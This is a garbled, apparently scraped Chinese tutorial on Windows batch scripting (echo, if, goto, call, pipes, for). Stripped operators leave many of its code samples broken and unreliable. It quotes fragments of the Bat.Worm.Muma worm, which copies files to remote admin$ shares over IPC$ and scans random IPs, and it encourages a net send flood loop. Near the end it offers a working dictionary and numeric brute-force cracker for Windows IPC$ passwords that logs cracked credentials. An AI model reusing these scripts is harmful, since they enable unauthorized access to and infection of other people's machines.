当前位置: 首页 > news >正文

仿制网站的软件搜集素材的网站

仿制网站的软件,搜集素材的网站,wordpress4.9主题安装,建站公司咨询From: http://www.jb51.net/article/97204.htm From: http://www.92to.com/bangong/2016/04-08/2998914.html 百度文库#xff1a;目前为止最全的批处理教程 批处理经典入门教程 批处理的本质#xff0c;是一堆DOS命令按一定顺序排列而形成的集合。 批处理#xff0c;也称…  From: http://www.jb51.net/article/97204.htm From: http://www.92to.com/bangong/2016/04-08/2998914.html 百度文库目前为止最全的批处理教程 批处理经典入门教程 批处理的本质是一堆DOS命令按一定顺序排列而形成的集合。  批处理也称为批处理脚本英文译为BATCH批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式只要遵守以下这条就ok了每一行可视为一个命令每个命令里可以含多条子命令从第一行开始执行直到最后一行结束它运行的平台是DOS。批处理有一个很鲜明的特点使用方便、灵活功能强大自动化程度高。 例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟。 将下面的几行命令保存为 name.bat 然后执行 以后文中只给出代码保存和执行方式类似 ping sz.tencent.com a.txt ping sz1.tencent.com a.txt ping sz2.tencent.com a.txt ping sz3.tencent.com a.txt ping sz4.tencent.com a.txt ping sz5.tencent.com a.txt ping sz6.tencent.com a.txt ping sz7.tencent.com a.txt exit 是不是都能看的懂是不是很easy但它的作用却是很实用的执行这个批处理后可以在你的当前盘建立一个名为a.txt的文件它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器从而远离“从服务器中转”那一痛苦的过程。这里的意思是把前面命令得到的东西放到后面所给的地方的作用和的相同区别是把结果追加到前一行得出的结果的后面具体的说是下一行而前面一行命令得出的结果将保留这样可以使这个a.txt文件越来越大想到如何搞破坏了。By the way这个批处理还可以和其他命令结合搞成完全自动化判断服务器速度的东东执行后直接显示速度最快的服务器IP是不是很爽后面还将详细介绍。 例二、再给出一个已经过时的例子a.bat echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 例三使用批处理脚本查是否中冰河。脚本内容如下 echo off netstat -a -n a.txt type a.txt | find 7626 echo Congratulations! You have infected GLACIER! del a.txt pause exit 这里利用了 netstat 命令检查所有的网络端口状态只需要你清楚常见木马所使用的端口就能很 easy 的判断出来是否被人种了冰河。然这不是确定的因为冰河默认的端口 7626完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动就变成可以检查其他木马的脚本了再改动一下加进去参数和端口及信息列表文件后就变 成自动检测所有木马的脚本了。呵呵是不是很过瘾脚本中还利用了组合命令 和 管道命令 | 后面将详细介绍。 例四借批处理自动清除系统垃圾。 脚本如下 echo off if exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.* 将以上脚本内容保存到 autoexec.bat 里每次开机时就把系统垃圾给自动删除了。 这里需要注意两点 一、DOS 不支持长文件名所以就出现了 Tempor~1 这个东东二、可根据自己的实际情况进行改动使其符合自己的要求。 现在由浅入深的介绍批处理中常用的命令很多常见 DOS 命令在批处理脚本中有这广泛的应用它们是批处理脚本的 BODY 部分但批处理比 DOS 更灵活多样更具备自动化。要学好批处理DOS 一定要有比较扎实的基础。这里只讲述一些比较少用相对来说的 DOS命令常用命令如 COPY、DIR 等就不做介绍了。。。 例五先看一个实例。 这是一个很有意思的脚本一个小巧实用的好东东把批处理 “自动化” 的特点体现的淋漓尽致。 先介绍一下这个脚本的来历大家都知道汇编程序MASM的上机过程先要对源代码进行汇编、连接然后再执行而这中间有很多环节需要输入很多东西麻烦的很只有经历过的朋友才懂得。如何使这个过程变的简单呢在我们搞汇编课程设计时我 “被逼” 写了这个脚本用起来很爽呵呵。看看脚本内容 echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***sina.com ::display info if %1 goto usage ::if input without paramater goto usage if %1/? goto usage ::if paramater is /? goto usage if %1help goto usage ::if paramater is help goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause edit %1.asm ::if error pause to see error msg and edit the code link %1.obj %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage 先不要被这一堆的东西给吓怕了静下心来仔细的看回想一下第一章中第一段是怎么写的。已经给出了每一行命令的解释两个冒号后面的内容为前一行内容解释的E文害怕E文的朋友也不用担心都很easy一看就懂了实在不懂了不会查词典啊这么懒在脚本执行时不显示也不起任何作用。倒数第5行行首有一个冒号可不是笔误哦具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序必须和edit程序以及你要编辑的源代码当然还有这个脚本废话一起在当前目录中。使用这个批处理脚本可以最大可能的减少手工输入整个过程中只需要按几下回车键即可实现从汇编源代码到可执行exe文件的自动化转换并具备智能判断功能如果汇编时源代码出现错误汇编不成功则自动暂停显示错误信息并在按任意键后自动进入编辑源代码界面如果源代码汇编成功则进行连接并在连接后自动执行生成的exe文件。另外由于批处理命令的简单性和灵活性这个脚本还具备良好的可改进性简单进行修改就可以符合不同朋友的上机习惯。 在这个脚本中出现了如下几个命令、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 1、 at 符号 这个符号大家都不陌生email的必备符号它怎么会跑到批处理中呢呵呵不是它的错批处理本来就离不开它要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身多么绕口的一句话。呵呵通俗一点说行首有了它的话这一行的命令就不显示了。在例五中首行的echo off中的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧还是不太懂没关系看完echo命令简介自然就懂了。 2、echo 中文为“反馈”、“回显”的意思。它其实是一个开关命令就是说它只有两种状态打开和关闭。于是就有了echo on 和echo off两个命令了。直接执行echo命令将显示当前echo命令状态off或on执行echo off将关闭回显它后面的所有命令都不显示命令本身只显示执行后的结果除非执行echo on命令。在例五中首行的命令和echo off命令联合起来达到了两个目的不显示echo off命令本身不显示以后各行中的命令本身。的确是有点乱但你要是练习一下的话3分钟包会不会的退钱 echo命令的另一种用法一可以用它来显示信息如例五中倒数第二行Default BAT file name is START.BAT将在脚本执行后的窗口中显示而echo命令本身不显示为什么。 echo命令的另一种用法二可以直接编辑文本文件。 echo nbtstat -A 192.168.0.1 a.bat echo nbtstat -A 192.168.0.2 a.bat echo nbtstat -A 192.168.0.3 a.bat 以上脚本内容的编辑方法是直接是命令行输入每行一回车。最后就会在当前目录下生成一个a.bat的文件直接执行就会得到结果。 CHOICE 选择命令。这是一个DOS外部命令但它主要用在批文件中。          CHOICE命令执行后将提示可选择的项目这时通过一个按键来选则。   用法CHOICE[/C[:]按键表] [/N] [/S] [/T[:]选择值,秒数] [显示文本]         其中/C 表示可选则的按键               /N 表示不要显示提示信息               /S 表示大小写字符敏感方式               /T 表示若在批定的时间内没有选则的话自动执行/C中定义的某个选择值。         显示文本是CHOICE命令执行时的提示信息。选择结果将用ERRORLEVEL值来表示。  3、::  注释 这个命令的作用很简单它是注释命令在批处理脚本中 和 rem 命令等效。它后面的内容在执行时不显示也不起任何作用因为它只是注释只是增加了脚本的可读性和C语言中的/*…………*/类似。地球人都能看懂就不多说了。 REM         添加注解。用于增加文件可读性将不被执行。也可以用::来代替。 4、pause 中文为“暂停”的意思看看你的 workman 上我一直认为它是批处理中最简单的一个命令单纯、实用。它的作用是让当前程序进程暂停一下并显示一行信息请按任意键继续. . .。在例五中这个命令运用了两次第一次的作用是让使用者看清楚程序信息第二个是显示错误的汇编代码信息其实不是它想显示而是masm程序在显示错误信息时被暂它停了以便让你看清楚你的源代码错在哪里。 PAUSE         暂停批文件的执行并显示“按任意键继续”的字样。 5、冒号 和 goto 为什么要把这两个命令联合起来介绍因为它们是分不开的无论少了哪个或多了哪个都会出错。 goto 是个跳转命令: 是一个标签。 当程序运行到 goto 时将自动跳转到 : 定义的部分去执行了是不是分不开。例五中倒数第5行行首出现一个:则程序在运行到goto时就自动跳转到:标签定义的部分执行结果是显示脚本usageusage就是标签名称。不难看出goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方它们是一一对应的关系。goto命令也经常和if命令结合使用。 goto 命令的另一种用法 一提前结束程序。在程序中间使用 goto 命令跳转到某一标签而这一标签的内容却定义为退出。如 …… goto end …… :end 这里 :end 在脚本最后一行其实这个例子很弱智后面讲了 if 命令和组合命令你就知道了。 用法GOTO [标号名]         其中标号名是可以随意设置的如 Hello 等。设置标号用“:”符号         如“Hello”这时用GOTO Hello命令将转到“:Hello”所在的位置继续执行批文件。 6、百分号 这个百分号严格来说是算不上命令的它只是批处理中的参数而已多个%一起使用的情况除外以后还将详细介绍但千万别以为它只是参数就小看了它看看例五中有多少地方用到它少了它批处理的功能就减少了51%了。看看例 七 net use \\%1\ipc$ %3 /u:%2 copy 11.BAT \\%1\admin$\system32 /y copy 13.BAT \\%1\admin$\system32 /y copy ipc2.BAT \\%1\admin$\system32 /y copy NWZI.EXE \\%1\admin$\system32 /y attrib \\%1\admin$\system32⏺.bat -r -h -s 以上代码是Bat.Worm.Muma病毒中的一部分%1代表的IP2%代表的username3%代表password。执行形式为脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat则执行形式如下a IP username password。这里IP、username、password是三个参数缺一不可因为程序不能正确运行并不是因为少了参数语法就不对这样在脚本执行过程中脚本就自动用用你的三个参数依次记住是依次也是一一对应的关系。代换1%、2%和3%这样就达到了灵活运用的目的试想如果在脚本中直接把IP、username和password都定义死那么脚本的作用也就被固定了但如果使用%的话不同的参数可以达到不同的目的是不是更灵活。 关于这个参数的使用在后续章节中还将介绍。一定要非常熟练才行这需要很多练习过程需要下点狠工夫 7、if if 命令是一个表示判断的命令根据得出的每一个结果它都可以对应一个相应的动作。关于它的三种用法在这里分开讲。 (1)、输入判断。还是用例五里面的那几句吧 if %1 goto usage if %1/? goto usage if %1help goto usage 这里判断输入的参数情况如果参数为空无参数则跳转到usage如果参数为/?或help时大家一般看一个命令的帮助是不是输入的/?或help呢这里这么做只是为了让这个脚本看起来更像一个真正的程序也跳转到usage。这里还可以用否定形式来表示“不等于”例如if not %1 goto usage则表示如果输入参数不为空就跳转到usage (2)、存在判断(文件或者盘符)。再看例二里这句 if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 如果存在那些gif文件就删除这些文件。当然还有例四都是一样的道理。注意这里的条件判断是判断存在的当然也可以判断不存在的例如下面这句“如果不存在那些gif文件则退出脚本”if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 (3)、结果判断。还是拿例五开刀没想到自己写的脚本竟然用处这么大呵呵 masm %1.asm if errorlevel 1 pause edit %1.asm link %1.obj 先对源代码进行汇编如果失败则暂停显示错误信息并在按任意键后自动进入编辑界面否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方命令后面会讲到。这种用法是先判断前一个命令执行后的返回码也叫错误码DOS程序在运行完后都有返回码如果和定义的错误码符合这里定义的错误码为1则执行相应的好啊作 这里相应的好啊作为pause edit %1.asm部分。 另外和其他两种用法一样这种用法也可以表示否定。用否定的形式仍表达上面三句的意思代码变为 masm %1.asm if not errorlevel 1 link %1.obj pause edit %1.asm 看到本质了吧其实只是把结果判断后所执行的命令互换了一下“if not errorlevel 1”和“if errorlevel 0”的效果是等效的都表示上一句masm命令执行成功因为它是错误判断而且返回码为00就表示否定就是说这个错误不存在就是说masm执行成功。这里是否加not错误码到底用0还是1是值得考虑的两个问题一旦搭配不成功脚本就肯定出错所以一定要体会的很深刻才行。如何体会的深刻练习自己写一个脚本然后把有not和没有not的情况返回码为0或1的情况分别写进去执行怎么嫌麻烦啊排列组合算一下才四中情况你就嫌麻烦了后面介绍管道命令和组合命令时还有更麻烦的呢怕了呵呵。这样从执行的结果中就能很清楚的看出这两种情况的区别。 这种用errorlevel结果判断的用法是if命令最难的用法但也恰恰是最有用的用法如果你不会用errorlevel来判断返回码则要达到相同的效果必须用else来表示“否则”的好啊作是比较麻烦的。以上代码必须变成 masm %1.asm if exist %1.obj link %1.obj else pause edit %1.asm 关于if命令的这三种用法就say到这里理解很简单但应用时就不一定用的那么得心应手主要是熟练程度的问题。可能有的朋友有点惊讶我怎么没给出类似下面三行的用法介绍是因为下面三行是if命令帮助里对它自身用法的解释任何人只要一个“if /?”就能看到我没有必要在这里多费口舌更重要的原因是我觉得这样介绍的不清楚看的人不一定看的懂所以我采用上面自己对if命令的理解来介绍。一定要注意的是这三种用法的格式各不相同而且也是不能改变的但实际上可以互换以为从本质上讲这三种用法都是建立在判断的基础上的哲学教我们学会透过现象看事物 本质。有兴趣的朋友可以自己研究一下。 IF [NOT] ERRORLEVEL number do command IF [NOT] string1string2 do command IF [NOT] EXIST filename do command IF         条件判断命令。这是一项很有用的批处理命令。         用法1IF [NOT] EXIST 文件名 命令 [命令参数]         意义如果[不]存在某个文件将执行某个命令。         用法2IF [NOT] ERRORLEVEL 错误返回代号 命令 [命令参数]         意义如果错误返回代号[不]大于或等于指定的代号将执行某个命令。         其中ERRORLEVEL表示错误返回代号很有用。         对于很多DOS命令由于执行的结果不同如执行成功执行失败或被用户中断等         这些命令会返回不同的代号以表示不同的结果。IF ERRORLEVEL命令就根据这个不同         结果而产生的不同代号来执行不同的命令通常用在某条命令之后。         如I F ERRORLEVEL 1 ECHO OK!表示如果当前的错误返回代号大于或等于1时将在屏幕         上显示“OK!”的字样。         用法3IF [NOT] 字符串1字符串2 命令 [命令参数]         意义当字符串1和字符串2[不]相等的时候执行某个命令。 8、call 学过汇编或C的朋友肯定都知道call指令表示什么意思了在这里它的意思其实也是一样的。在批处理脚本中call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat start.bat …… CALL 10.BAT 0 …… 10.bat …… ECHO %IPA%.%1 HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat for /f tokens1,2,3 delims %%i in (%1) do call HACK.bat %%i %%j %%k 在start.bat中10.bat后面跟了参数0在执行时的效果其实就是把10.bat里的参数%1用0代替。在start.bat中ipc.bat后面跟了参数ipcfind.txt一个文件也可以做参数执行时的效果就是用ipc.bat中的每一行的三个变量 这里不懂没关系学过for命令后就懂了对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的使用时需要好好体会。在初学期间可以先学习只调用脚本至于连脚本的参数一起使用的情况在后面的学习中自然就会有 比较深刻的理解这是因为当你已经可以灵活运用批处理脚本后如何使代码写的更精简更完美更高效就自然包括到了考虑的范围这时候你就会发现在调用脚本时直接加入参数可以使代码效率加倍。By the way上面的这几个脚本都是Bat.Worm.Muma病毒的一部分在后面的教程里大家将有机会见到这个病毒的真面目。 那是不是说在同一个目录下至少存在两个批处理脚本文件只有一个你调用谁呵呵注意了这句话错了只有一个照样可以调用----调用自身看例九默认脚本文件名a.bat net send %1 This is a call example. call a.bat 这两句一结合效果自然不怎么样因为只有一台机器来发消息谁怕谁啊我给你来个礼尚往来可如果有100台机器同时执行而且每台机器开10和窗口同时向一个目标机器发消息的话呵呵。这里call a.bat的作用就是调用自身执行完前一句net send命令后再调用自身达到了循环执行的目的。 给出一个很有意思的脚本有兴趣的朋友可以实验一下。例十默认脚本文件名为a.bat 9、find 这是一个搜索命令用来在文件中搜索特定字符串通常也作为条件判断的铺垫程序我怎么突然想起了这四个字。 这个命令单独使用的情况在批处理中是比较少见的因为没什么实际意义。还是借例三来说明 echo off netstat -a -n a.txt type a.txt | find 7626 echo Congratulations! You have infected GLACIER! del a.txt pause exit 先用netstat命令检查是否有冰河默认的端口7626在活动并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容再在列出的内容中搜索字符串“7626” 发现有的话则提示中了冰河否则退出。看find命令其实就这么简单但有一点必须要注意到如果不使用type命令列出a.txt中的内容而是直接使用find命令在a.txt中找“7626”find a.txt 7626 echo Congratulations! You have infected GLACIER!就必须得给出这个a.txt的绝对路径我试过了find并没有默认路径就是当前路径的功能必须手动指定。也许是我错了欢迎指正。因为在find命令的帮助里有这么一句话如果没有指定路径find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。 至于find命令的其他几个参数如v、n、i等有兴趣的朋友自己去研究吧这已经属于DOS学习的内容了这里就不做介绍。关于find命令和其他命令的一些更精妙的用法有些简直令人叫绝后续的教程中将介绍希望关注。 10、for、set、shift 为什么把这三个命令放到一起来讲原因除了我说明外恐怕谁也想不到很简单的一句话其实我也不太懂是的对于这两个命令我是从研究Bat.Worm.Muma病毒开始学习的时间过去了不少但还是没完全搞明白我怕讲出来连自己都看不懂我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你如何让这两个命令给自己留一个初步的印象其实也就是这两个命令的入门而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令特别是for谈何容易也许你会表扬我说我诚实、不懂就不懂也许你会骂我让我既然不懂就赶紧滚蛋不要在这里丢人显眼也许你还会说一些别的这样那样好听或不好听的话都随便你了即使我不同意你说的话我也会誓死捍卫你说话的权利。看例十 echo off for /? for.txt set /? set.txt shift /? shift.txt exit 执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂我就不多说了。我在网上曾经找了很长时间这三个命令的教程但都不理想基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后一定要写一篇用自己的文字总结出来的for、set和shift教程关于shift命令后面介绍批处理的参数时还将涉及到一定会的这是我的心愿之一需要注意的一点是这三个命令的帮助里 介绍的都比较死板虽然也举了一些例子但这是远远不够的。要掌握这两个命令最需要的就是耐心没写错就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了要进一步练习领会这两个命令难道不需要更大的耐心实战练习的机会我会留给你的关键还是那句话看你有没有耐心去研究了。看看例十 FOR         DOS下许多命令支持通配符如和*可以一次指定一批文件非常方便。         然而并非所有的DOS命令都支持通配符如TYPE文件内容显示命令就不支持。         有了FOR命令就没有关系了利于它可以使TYPE命令可以一次显示多个文件。         用法FOR %变量名 IN 文件集 DO 命令 [命令参数]         注以上是FOR命令的固定形式IN和DO的位置必须正确否则将提示语法错误。         如 FOR %F IN (*.*) DO TYPE %F命令就可以实现TYPE命令一次显示多个文件。         注%F是变量名也可用%G等代替但前后必须一致。在批文件中用%%F代替。 二  START.BAT  CALL MUMA.BAT  SET IPA192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find : A.TMP FOR /F tokens7,8,9,10,12 delims.: %%I IN (A.TMP) DO SET NUM1%%I SET NUM2%%J SET NUM3%%K SET NUM4%%L SET NUM5%%M CALL NEAR.BAT :START CALL RANDOM.BAT IF %NUM1%255 GOTO NEARAGAIN IF %NUM1%192 GOTO NEARAGAIN IF %NUM1%127 GOTO NEARAGAIN IF %NUM2%255 GOTO NEARAGAIN IF %NUM3%255 GOTO NEARAGAIN IF %NUM4%255 GOTO NEARAGAIN SET IPA%NUM1%.%NUM2% ECHO START A.LOG PING %IPA%.%NUM3%.1B.TMP PING %IPA%.%NUM3%.%NUM4%B.TMP FIND /C /I from B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 这是Bat.Worm.Muma病毒的起始脚本设置了病毒运行的环境变量。是不是看的头都大了又忘了写在第一章第一段的那句话静下心来你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人你得学会宽容打不得骂不得用你宽大的胸怀去包容她的一切即使你发现爱她的过程如看上面代码的过程一样让你头大但你还是得爱下去- ---爱需要理由吗不需要吗需要吗不需要吗……等到风平浪静后最直观的收获就是你的耐心变的前所未有的充足面对她的复杂和善变你自己会处变不惊以自己的方式去从容应付曾经应付不了的场面即使到最后一身伤痕也会感慨曾经的举动有多么伟大。 没错这就是批处理的魅力这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸痛并快乐着。 不得不再次重申一遍各种DOS命令是批处理的BODY我实在找不出一个更合适的词来形容他们之间的关系学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令以及ping、net、cmd、at、sort、attrib、fc、find等外部命令在批处理里的应用非常广泛。这篇教程的作用是教你认识批处理以及如何利用DOS命令组合出来一个完美的批处理脚本去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的这已经超出了本文的范畴在此就不赘述了。 11、| 管道 这个命令恐怕大家不是很陌生经常好啊作DOS的朋友都应该知道当我们查看一个命令的帮助时如果帮助信息比较长一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕而是直接显示到帮助信息的最后。如在提示符下输入help回车时就会看到当前DOS版本所支持的所有非隐含命令但你只能看到最后的那些命令前面的早就一闪 而过了如何解决这个问题看例十三 help | more 回车后会发现显示满一屏幕后就自动暂停等候继续显示其他信息。当按写回车时变成一个一个的出现按下空格键时一屏幕一屏幕显示直到全部显示完为止按其他键自动停止返回DOS。 为什么会出现上述现象答案很简单这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令对理解|命令的用法有很大帮助。 help命令。其实这个命令是不需要多说的但在上述例子中help命令的用法比较特殊直接在DOS提示符下输入help命令结果是让DOS显示其所支持的所有非隐含命令而在其他地方用help命令如输入net help回车则是显示net命令的帮助信息。 more命令。可能很多朋友以前就没有接触过这个命令这个命令在Linux下的用处非常广泛也是管道命令之一。大家可以找一篇比较长的文章a.txt在DOS提示符下输入如下两个命令去比较一下差别more a.txt和type a.txt。利用more命令可以达到逐屏或逐行显示输出的效果而type命令只能一次把输出显示完最后的结果就是只能看到末尾的部分。在例十三里more命令的作用就是让输出的信息逐屏或逐行显示。 看到这里你是否已经能隐约感受到了|命令的作用了没错它的作用就是把前一命令的输出当后一命令的输入来用的。在例十三里前一命令的输出就是help命令执行后显示的DOS所支持的所有非隐含命令而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的 help a.txt more a.txt del a.txt 12、、 输出重定向 这两个命令的效果从本质上来说都是一样的他们都是输出重定向命令说的通俗一点就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是会清除掉原有文件中的内容后把新的内容写入原文件而只会另起一行追加新的内容到原文件中而不会改动其中的原有内容。例十五 echo echo off a.bat echo echo This is a pipeline command example. a.bat echo echo It is very easy? a.bat echo echo Believe your self! a.bat echo pause a.bat echo exit a.bat 依次在DOS提示符下输入以上各行命令一行一个回车将在当前目录下生成一个a.bat文件里面的内容如下 echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit 看到这里你得到了多少信息1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本而不需要专门的文本编辑工具2、管道命令和的区别如上所述。如果这里只用命令来完成上面好啊作最后也会生成一个a.bat但里面的内容就只剩下最后一行exit了。所以和一般都联合起来用除非你重定向的输出只有一行那么就可以只用了。结合例一再仔细体会输出重定向管道命令和的用法。 13、、、 特殊管道 这三个命令也是管道命令但它们一般不常用你只需要知道一下就ok了当然如果想仔细研究的话可以自己查一下资料。 输入重定向命令从文件中读入命令输入而不是从键盘中读入。 将一个句柄的输出写入到另一个句柄的输入中。 刚好和相反从一个句柄读取输入并将其写入到另一个句柄输出中。 关于这三个管道命令的举例在后面批处理脚本的精妙应用中还将涉及到。 下面介绍组合命令、、|| 组合命令顾名思义就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用就如同给爱人陪不是说一句是说说十句也是说不一次把好话都说了出来效果可能会好些----当然得排除一种特殊情况这些话是否有先后顺序有些话是否可以同时说。在批处理脚本里也一样有些时候某些命令是不能同时执行的后面给你说。 14、 一个与 这可以说是最简单的一个组合命令了它的作用是用来连接n个DOS命令并把这些命令按顺序执行而不管是否有命令执行失败。例十六  copy a.txt b.txt /y del a.txt 其实这句和move a.txt b.txt的效果是一样的只不过前者是分了两步来进行的在后面还将涉及到具体使用哪种方法的问题。这个命令很简单就不多费口舌了唯一需要注意的一点是这里两边的命令是有执行顺序的从前往后执行 。 15、 两个与 它可以把它前后两个命令组合起来当一个命令来用与命令不同之处在于它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。 你是否还记得“有些命令是不能同时执行的”你是否相信这句话当然得相信不信就给你出道题把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题有朋友说这还不是很easy的问题吗同时执行两个dir然后把得到的结果到a.txt里就ok了嘛    例十八dir c:\ dir d:\ a.txt 仔细研究一下这句执行后的结果看看是否能达到题目的要求错了这样执行后a.txt里只有D盘的信息为什么就因为这里命令和命令不能同时出现一个句子里批处理把一行看成一个句子组合命令的优先级没有管道命令的优先级高自己总结的不妥的地方请指正所以这句在执行时将本分成这两部分dir c:\和dir d:\ a.txt而并不是如你想的这两部分dir c:\ dir d:\和 a.txt。要使用组合命令达到题目的要求必须得这么写dir c:\ a.txt dir d:\ a.txt 这样依据优先级高低DOS将把这句话分成以下两部分dir c:\ a.txt和dir d:\ a.txt。例十八中的几句的差别比较特殊值得好好研究体会一下。 当然这里还可以利用命令自己想一下道理哦dir c:\ a.txt dir d:\ a.txt 16、||  或  这个命令的用法和几乎一样但作用刚好和它相反利用这种方法在执行多条命令时当遇到一个执行正确的命令就退出此命令组合不再继续执行下面的命令。题目查看当前目录下是否有以s开头的exe文件如果有则退出。例十九 echo off dir s*.exe || exit 其实这个例子是有破绽的你看出来了吗其实很简单自己试试就知道了嘛如果存在那个exe文件就退出如果不存在那个exe文件也退出为什么因为如果不存在那个.exe文件则前一条命令dir s*.exe执行肯定是不成功的所以就继续执行exit自然就退出了呵呵。那么如何解决题目给出的问题呢看例二十 echo off dir s*.exe || echo Didnt exist file s*.exe pause exit 这样执行的结果就能达到题目的要求是否存在s*.exe将出现两种结果。这里加暂停的意思当然是让你能看到echo输出的内容否则一闪而过的窗口echo就白写了。 给出两个更好研究优先级同时也是更难理解的脚本仔细研究它们的区别以便彻底理解各种命令的优先级顺序对以后自己利用这些命令写脚本有很大的好处----不会出错OK请看例二十一和例二十二 例二十一 echo off dir a.ttt /a dir a.txt || exit 例二十二 echo off dir a.ttt /a dir a.txt || exit 在网上有一篇流传很广的批处理教程“简明批处理教程”虽然说的比较全面但看起来很不过瘾。在对for等命令介绍时就一个for /? a.txt start a.txt完事了当然这一点上我不能说人家什么毕竟我连for /?都没给出而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理好啊作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令是因为他们才是批处理的精华和灵魂能否正确利用好这几个命令是能否掌握批处理的前提条件。如for、set等DOS命令的问题可以从DOS的角度出发专门有针对性的学习但有关这几个命令的问题却是不容易精通掌握的----他们之间的关系太复杂了 将下列代码存为bat文件 1、如果用字典破解pass.bat 字典文件路径及名称 主机 用户名 2、如果用数字破解pass.bat 起始数 步长 结束数 主机 用户名 密码破解出来之后存放于c:\pass.txt文件里面。 将下列代码存为pass.bat文件 echo off echo ------------------------------------------------------------------- c:\pass.txt echo ------------------------------------------------------------------- c:\pass.txt date /t c:\pass.txt time /t c:\pass.txt echo 破解结果 c:\pass.txt if %61 goto 大棒槌是我的说2 :大棒槌是我的说1 start 正在破解 /min cmd /c for /f %%i in (%1) do call test.bat %2 %%i %3 goto quit :大棒槌是我的说2 start 正在破解 /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 %%i %5 :quit 将下列代码存为test.bat net use \\%1\ipc$ %2 /user:%3 goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令执行返回结果net use成功返回0失败返回2 :answer0 echo 远程主机%1 c:\pass.txt echo 用 户%3 c:\pass.txt echo 密 码%2 c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 17、For 批处理程序中使用 for 命令请使用以下语法for %%variable in (set) docommand [command-parameters]命令提示符下使用 for 命令请使用以下语法for %variable in (set) do command [command-parameters] 参数解释%%variable 或 %variable代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable或 %variable直到此命令在command-parameters 中指定处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 %variable 通过命令提示符执行 for 命令。变量名区分大小写。 (set)指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 command指定要在指定的 set 所包含的每个文件上执行的命令。 command-parameters指定要用于指定命令如果指定的命令要使用任何参数或开关的任何参数或开关。如果启用了命令扩展Windows 2000 中的默认设置)将支持 for 命令的其他形式。 For 命令的其他形式 如果启用了命令扩展将支持如下 for 命令的其他格式 只限于目录         for /D [%% | %]variable in (set) docommand [command-parameters]         如果 set 包含通配符* 和 ?则指定与目录名匹配而不是文件名。 递归         for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]         进入根目录树[drive:]path在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录则假定为当前目录。         如果 set 只是一个句号 (.) 字符则只列举目录树。 迭代         for /L [%% | %]variable in (startstepend) do command [command-parameters]         集合是一系列按步长量划分的、从头到尾的数字。         示例 (1,1,5) 将生成序列 1 2 3 4 5而 (5,-1,1) 将生成序列 (54 3 2 1)。 文件解析 for /F [options] [%% | %]variable in (filenameset) do command [command-parameters]         for /F [options] [%% | %]variable in (literal string) do command[command-parameters]         for /F [options] [%% | %]variable in (command) do command [command-parameters] 或者如果出现 usebackq 选项 for /F [options] [%% | %]variable in (filenameset) do command [command-parameters]         for /F [options] [%% | %]variable in (literal string) do command [command-parameters]         for /F [options] [%% | %]variable in (command) docommand 